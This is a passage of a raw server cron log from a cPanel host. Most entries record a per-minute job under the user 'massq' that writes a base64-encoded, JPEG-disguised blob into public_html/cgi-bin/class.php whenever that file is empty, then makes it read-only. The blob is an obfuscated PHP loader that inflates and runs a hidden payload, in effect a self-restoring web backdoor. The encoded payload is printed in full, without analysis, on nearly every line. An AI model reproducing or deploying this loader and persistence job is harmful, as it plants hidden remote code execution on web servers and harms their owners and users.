&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:35:01 server CROND[5703]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:35:01 server CROND[5704]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 21:35:01 server CROND[5702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:35:01 server CROND[5708]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 21:35:01 server CROND[5709]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:36:01 server CROND[6599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:37:01 server CROND[7274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:38:01 server CROND[8102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:39:01 server CROND[9085]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 21:39:01 server CROND[9086]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:40:01 server CROND[9935]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:40:01 server CROND[9934]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:40:01 server CROND[9937]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 21:40:01 server CROND[9936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:41:01 server CROND[10979]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:42:01 server CROND[11850]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 21:42:01 server CROND[11851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:43:01 server CROND[12678]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:44:01 server CROND[12940]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:45:01 server CROND[13770]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:45:01 server CROND[13771]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:45:01 server CROND[13772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:46:01 server CROND[14756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
